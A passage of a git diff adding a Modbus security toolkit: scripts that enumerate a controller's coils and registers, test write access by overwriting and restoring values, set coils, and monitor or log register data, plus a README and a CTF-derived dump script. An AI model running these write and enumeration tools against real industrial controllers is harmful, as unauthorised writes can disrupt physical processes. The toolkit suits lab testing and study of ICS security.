8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + 